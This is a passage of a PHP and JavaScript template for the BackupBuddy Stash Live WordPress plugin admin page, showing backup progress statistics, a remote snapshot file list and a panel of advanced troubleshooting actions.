stats.continuous_status == '0' ) { #> <a href="<?php echo pb_backupbuddy::nonce_url( $admin_url . '?page=pb_backupbuddy_live&live_action=resume_continuous' ); ?>" class="backupbuddy-live-button primary"><span class="dashicons dashicons-controls-play"></span><?php _e( 'Resume', 'it-l10n-backupbuddy' ); ?></a> <# } else { #> <a href="<?php echo pb_backupbuddy::nonce_url( $admin_url . '?page=pb_backupbuddy_live&live_action=pause_continuous' ); ?>" class="backupbuddy-live-button secondary"><span class="dashicons dashicons-controls-pause"></span><?php _e( 'Pause', 'it-l10n-backupbuddy' ); ?></a> <# } #> </div> </div> </div> <div class="col col-1-3"> <div class="backupbuddy-live-stats-files backupbuddy-live-stats-column <# if ( stats.periodic_status == '0' ) { #>paused <# } #>"> <div class="backupbudy-live-stats-data-container"> <div class="backupbuddy-live-stats-meta-overlay"> <div class="backupbuddy-live-stats-meta-section"> <span><?php _e( 'Last Activity', 'it-l10n-backupbuddy' ); ?></span> {{ stats.last_periodic_activity_ago }} </div> <div class="backupbuddy-live-stats-meta-section"> <span><?php _e( 'Next Full Scan', 'it-l10n-backupbuddy' ); ?></span> {{ stats.next_periodic_restart_pretty }} </div> </div> <div class="backupbuddy-live-stats-column-heading"> <?php _e( 'Files', 'it-l10n-backupbuddy' ); ?> </div> <div class="backupbuddy-live-stats-big-number"> {{ stats.files_sent }} </div> <div class="backupbuddy-live-stats-sub-numbers"> <?php _e( 'of', 'it-l10n-backupbuddy' ); ?> {{ stats.files_total }}<br> <?php _e( 'Files', 'it-l10n-backupbuddy' ); ?> </div> <div class="backupbuddy-live-stats-progress-bar-container"> <div class="backupbuddy-live-stats-progress-bar"> <div class="backupbuddy-live-stats-progress-bar-highlight <# if ( '100' != stats.files_sent_percent ) { #>animate<# } #>" title="{{ stats.files_sent_percent }}%"style="width:{{ stats.files_sent_percent }}%"></div> </div> <div class="backupbuddy-live-stats-progress-bar-percentage"> {{{ Math.floor(stats.files_sent_percent) }}}% </div> </div> <div class="backupbuddy-live-stats-total"> {{ stats.files_size_pretty }} </div> </div> <div class="backupbuddy-live-stats-action"> <# if ( stats.periodic_status == '0' ) { #> <a href="<?php echo pb_backupbuddy::nonce_url( $admin_url . '?page=pb_backupbuddy_live&live_action=resume_periodic' ); ?>" class="backupbuddy-live-button primary"><span class="dashicons dashicons-controls-play"></span><?php _e( 'Resume', 'it-l10n-backupbuddy' ); ?></a> <# } else { #> <a href="<?php echo pb_backupbuddy::nonce_url( $admin_url . '?page=pb_backupbuddy_live&live_action=pause_periodic' ); ?>" class="backupbuddy-live-button secondary"><span class="dashicons dashicons-controls-pause"></span><?php _e( 'Pause', 'it-l10n-backupbuddy' ); ?></a> <# } #> </div> </div> </div> <div class="col col-1-3"> <div class="backupbuddy-live-stats-storage backupbuddy-live-stats-column last"> <div class="backupbuddy-live-stats-column-heading"> <?php _e( 'Storage', 'it-l10n-backupbuddy' ); ?> </div> <div class="backupbuddy-live-stats-big-number"> <# if ( stats.stash ) { #> {{ stats.stash.quota_used_nice }} <# } else { #> <?php _e( 'Pending', 'it-l10n-backupbuddy' ); ?> <# } #> </div> <div class="backupbuddy-live-stats-sub-numbers"> <# if ( stats.stash ) { #> <?php _e( 'of', 'it-l10n-backupbuddy' ); ?> {{ stats.stash.quota_total_nice }}<br> <?php _e( 'Used', 'it-l10n-backupbuddy' ); ?> <# } else { #> <?php echo sprintf( __( 'Storage Amount %s Currently Unavailable', 'it-l10n-backupbuddy' ), '<br>' ); ?> <# } #> </div> <div class="backupbuddy-live-stats-progress-bar-container"> <# if ( stats.stash ) { #> <div class="backupbuddy-live-stats-progress-bar"> <div class="backupbuddy-live-stats-progress-bar-highlight" title="{{ stats.stash.quota_used_percent }}%" style="width:{{ stats.stash.quota_used_percent }}%"></div> </div> <# } #> <div class="backupbuddy-live-stats-progress-bar-percentage"> <# if ( stats.stash ) { #> {{{ Math.floor(stats.stash.quota_used_percent) }}}% <# } #> </div> </div> <div class="backupbuddy-live-stats-total"></div> <div class="backupbuddy-live-stats-action"> <a href="https://sync.ithemes.com/stash" target="_blank" class="backupbuddy-live-button primary"><?php _e( 'Manage Remote Files', 'it-l10n-backupbuddy' ); ?></a><br> <a href="https://ithemes.com/backupbuddy-stash/" target="_blank" class="backupbuddy-live-button secondary need-more"><?php _e( 'Need More Storage?', 'it-l10n-backupbuddy' ); ?></a> </div> </div> </div> </div> <div class="col col-1-3"> <div class="backupbuddy-live-stats-overview"> <h3><?php _e( 'BackupBuddy Stash Live created new zip files for you as of', 'it-l10n-backupbuddy' ); ?>:</h3> <div class="backupbuddy-stats-time-ago">{{ stats.last_remote_snapshot_ago }}</div> <a href="#" class="backupbuddy-stats-help-link"> <?php _e( 'What does this mean?', 'it-l10n-backupbuddy' ); ?> <span class="backupbuddy-stats-time-ago-explanation"> <?php _e( 'This is the time since your latest full Snapshot was taken by BackupBuddy Stash Live. Stash Live continuously watches for changes and pushes them up for safe storage. Periodically a "Snapshot" in time is created which is a recording of the state of your site at that time. You can download your latest Snapshot zip files from the Sync dashboard.', 'it-l10n-backupbuddy' ); ?> </span> </a> <div class="backupbuddy-stats-overview-create-snapshot"> <p><?php _e( 'Need a more recent snapshot?', 'it-l10n-backupbuddy' ); ?></p> <a href="<?php echo pb_backupbuddy::nonce_url( $admin_url . '?page=pb_backupbuddy_live&live_action=create_snapshot' ); ?>" class="backupbuddy-live-button primary"><?php _e( 'Create Manual Snapshot', 'it-l10n-backupbuddy' ); ?></a> </div> </div> </div> </div> </script> <script> var snapshotStatusURL = '<?php echo pb_backupbuddy::ajax_url( 'live_snapshot_status' ); ?>'; // AJAX status check URL. jQuery(document).ready(function() { backupbuddy_live_stats( jQuery.parseJSON( '<?php echo json_encode( $stats ); ?>' ) ); loadingIndicator = jQuery( '.pb_backupbuddy_loading' ); jQuery(document).on( 'click', '.backupbuddy-stats-help-link', function(e) { e.preventDefault(); jQuery( '.backupbuddy-stats-time-ago-explanation' ).addClass('visible'); }); jQuery(document).on( 'mouseleave', '.backupbuddy-stats-time-ago-explanation', function() { jQuery( '.backupbuddy-stats-time-ago-explanation' ).removeClass('visible'); }); }); </script> <?php // Display remote files stored in Stash. ?> <br style="clear: both;"><br> <h3><?php _e( 'Stash Live Remote Snapshot Files', 'it-l10n-backupbuddy' ); ?></h3> <p class="description restrict-length"> <?php echo sprintf( __( 'Below is a listing of your Snapshot zip files stored in Stash. You can copy these files locally, download them for use, or <a href="%s" target="_blank">manage them in iThemes Sync</a>, including traditional backups sent to a Stash destination. To learn more about managing your Stash Storage, <a href="%s" target="_blank">click here</a>. ', 'it-l10n-backupbuddy'), 'https://sync.ithemes.com/stash', 'https://ithemes.com/backupbuddy-stash' ); ?> </p> <div class="backupbuddy_live_iframe_load"> <img src="<?php echo pb_backupbuddy::plugin_url(); ?>/images/loading.gif" title="Loading... This may take a few seconds..." style="vertical-align: -3px;"> <?php _e( 'Loading remote Snapshot files list...', 'it-l10n-backupbuddy' ); ?> </div> <iframe id="backupbuddy_live-stash_iframe" data-refreshed="<?php echo time(); ?>" src="<?php echo pb_backupbuddy::ajax_url( 'live_stash_files' ); ?>" frameBorder="0" style="width: 100%;" onLoad="backupbuddy_resizeIframe(this); jQuery( '.backupbuddy_live_iframe_load' ).hide();">Error #433894473. Browser not compatible with iframes.</iframe> <br style="clear: both;"><br><br><br><br><br> <a href="javascript:void(0);" class="button button-secondary button-tertiary" onClick="jQuery('.backupbuddy-live-advanced-troubleshooting-wrap').slideToggle();">Advanced Troubleshooting Options</a> <a href="<?php echo pb_backupbuddy::ajax_url( 'live_troubleshooting_download' ); ?>" class="button button-secondary button-tertiary">Download Troubleshooting Data (.txt)</a> <div class="backupbuddy-live-advanced-troubleshooting-wrap" style="display: none; background: #E5E5E5; padding: 15px; margin-top: 15px; border-radius: 10px;"> <h1>Advanced Troubleshooting Options</h1> Support may advise you to use these options to help work around a problem or troubleshoot issues. Caution is advised if using these options without guidance. <br><br> <b>Function running at page load:</b><br> <code><?php echo $state['step']['function']; ?> - <?php if ( 'update_files_list' == $state['step']['function'] ) { echo '*Hidden due to size for this function*'; } else { print_r( $state['step']['args'] ); } ?></code> <br><br> <b>Account:</b><br> <?php echo $destination['itxapi_username']; ?> <br><br> <h4>Actions:</h4> <a href="<?php echo pb_backupbuddy::nonce_url( $admin_url . '?page=pb_backupbuddy_live&live_action=resume_periodic&skip_run_live_now=1' ); ?>" class="button button-secondary button-tertiary">Unpause Periodic Without Running</a> <a href="<?php echo pb_backupbuddy::nonce_url( $admin_url . '?page=pb_backupbuddy_live&live_action=reset_send_attempts' ); ?>" class="button button-secondary button-tertiary">Reset Send Attempts</a> <a href="<?php echo pb_backupbuddy::nonce_url( $admin_url . '?page=pb_backupbuddy_live&live_action=reset_file_audit_times' ); ?>" class="button button-secondary button-tertiary">Reset File Audit Times</a> <a href="<?php echo pb_backupbuddy::nonce_url( $admin_url . '?page=pb_backupbuddy_live&live_action=uncache_credentials' ); ?>" class="button button-secondary button-tertiary">Uncache Live Credentials</a> <h4>Time Stats:</h4> <a href="<?php echo pb_backupbuddy::nonce_url( $admin_url . '?page=pb_backupbuddy_live&live_action=reset_last_activity' ); ?>" class="button button-secondary button-tertiary">Reset Last Activity Time</a> <a href="<?php echo pb_backupbuddy::nonce_url( $admin_url . '?page=pb_backupbuddy_live&live_action=reset_first_completion' ); ?>" class="button button-secondary button-tertiary">Reset First Completion Time</a> <a href="<?php echo pb_backupbuddy::nonce_url( $admin_url . '?page=pb_backupbuddy_live&live_action=reset_last_remote_snapshot' ); ?>" class="button button-secondary button-tertiary">Reset Last Remote Snapshot Time</a> <h4>Misc:</h4> <a href="<?php echo pb_backupbuddy::nonce_url( $admin_url . '?page=pb_backupbuddy_live&live_action=trim_archives' ); ?>" class="button button-secondary button-tertiary">Run Archive Limiting Now</a> <a href="<?php echo pb_backupbuddy::nonce_url( $admin_url . '?page=pb_backupbuddy_live&live_action=last_snapshot_details' ); ?>" class="button button-secondary button-tertiary" style="<?php if ( '' == $state['stats']['last_remote_snapshot_id'] ) { echo 'opacity: 0.4;'; } ?>">Last Snapshot Details</a> <a href="<?php echo pb_backupbuddy::nonce_url( $admin_url . '?page=pb_backupbuddy_live&live_action=delete_catalog' ); ?>" class="button button-secondary button-tertiary" onclick="if ( !confirm('WARNING: This will erase your local catalog of files. All files may need to be re-uploaded. Are you sure you want to do this?') ) { return false; }">Delete Catalog & State</a> <h4>Steps:</h4> <div style="float: left;"> <a href="<?php echo pb_backupbuddy::nonce_url( $admin_url . '?page=pb_backupbuddy_live&live_action=restart_periodic' ); ?>" class="button button-secondary button-tertiary">Restart Periodic Process</a> <a href="<?php echo pb_backupbuddy::nonce_url( $admin_url . '?page=pb_backupbuddy_live&live_action=restart_periodic_force' ); ?>" class="button button-secondary button-tertiary">Restart Periodic Process (force)</a> <a href="<?php echo pb_backupbuddy::nonce_url( $admin_url . '?page=pb_backupbuddy_live&live_action=resume_periodic_step' ); ?>" class="button button-secondary button-tertiary">Resume Periodic Process</a> </div> <div style="float: left;"> <form method="post" action="<?php echo pb_backupbuddy::nonce_url( $admin_url . '?page=pb_backupbuddy_live&live_action=restart_at_step' ); ?>"> <select name="live_step"> <option value="daily_init">Daily Initialization</option> <option value="database_snapshot">Database Snapshot</option> <option value="send_pending_db_snapshots">Send Pending Database Snapshots</option> <option value="process_table_deletions">Process Table Deletions</option> <option value="update_files_list">Update Files List</option> <option value="update_files_signatures">Update Files Signatures</option> <option value="process_file_deletions">Process File Deletions</option> <option value="send_pending_files">Send Pending Files</option> <option value="audit_remote_files">Audit Remote Files</option> <option value="run_remote_snapshot">Run Remote Snapshot</option> </select> <input type="submit" name="submit" value="Run at Step (Force)"> </form> </div> <br style="clear: both;"> <h4>Raw Data:</h4> <a href="<?php echo pb_backupbuddy::nonce_url( $admin_url . '?page=pb_backupbuddy_live&live_action=view_tables_raw' ); ?>" class="button button-secondary button-tertiary">View Catalog Tables</a> <a href="<?php echo pb_backupbuddy::nonce_url( $admin_url . '?page=pb_backupbuddy_live&live_action=view_signatures_raw' ); ?>" class="button button-secondary button-tertiary">View Catalog Files</a> <a href="<?php echo pb_backupbuddy::nonce_url( $admin_url . '?page=pb_backupbuddy_live&live_action=view_catalog_raw' ); ?>" class="button button-secondary button-tertiary">View Entire Catalog</a> <a href="<?php echo pb_backupbuddy::nonce_url( $admin_url . '?page=pb_backupbuddy_live&live_action=view_state' ); ?>" class="button button-secondary button-tertiary">View Entire State</a> <a href="<?php echo pb_backupbuddy::nonce_url( $admin_url . '?page=pb_backupbuddy_live&live_action=view_raw_settings' ); ?>" class="button button-secondary button-tertiary">View Settings</a> <a href="<?php echo pb_backupbuddy::nonce_url( $admin_url . '?page=pb_backupbuddy_live&live_action=view_stats' ); ?>" class="button button-secondary button-tertiary">View Stats</a> <h4>Pretty Data:</h4> <a href="<?php echo pb_backupbuddy::nonce_url( $admin_url . '?page=pb_backupbuddy_live&live_action=view_signatures' ); ?>" class="button button-secondary button-tertiary">View Formatted Catalog Files</a> <a href="<?php echo pb_backupbuddy::nonce_url( $admin_url . '?page=pb_backupbuddy_live&live_action=view_tables' ); ?>" class="button button-secondary button-tertiary">View Formatted Catalog Tables</a> <a href="<?php echo pb_backupbuddy::nonce_url( $admin_url . '?page=pb_backupbuddy_live&live_action=view_files' ); ?>" class="button button-secondary button-tertiary">View Remotely Stored Files</a> <a href="<?php echo pb_backupbuddy::nonce_url( $admin_url . '?page=pb_backupbuddy_live&live_action=view_files_tables' ); ?>" class="button button-secondary button-tertiary">View Remotely Stored Tables</a> <a href="<?php echo pb_backupbuddy::nonce_url( $admin_url . '?page=pb_backupbuddy_live&live_action=troubleshooting' ); ?>" class="button button-secondary button-tertiary">View Troubleshooting Data</a> <h4>Logging:</h4> <a href="<?php echo pb_backupbuddy::nonce_url( $admin_url . '?page=pb_backupbuddy_live&live_action=view_log' ); ?>" class="button button-secondary button-tertiary">View Status Log</a> <a href="<?php echo pb_backupbuddy::nonce_url( $admin_url . '?page=pb_backupbuddy_live&live_action=clear_log' ); ?>" class="button button-secondary button-tertiary">Clear Status Log</a> </div> <?php // Handles thickbox auto-resizing. Keep at bottom of page to avoid issues. if ( !wp_script_is( 'media-upload' ) ) { wp_enqueue_script( 'media-upload' ); wp_print_scripts( 'media-upload' ); }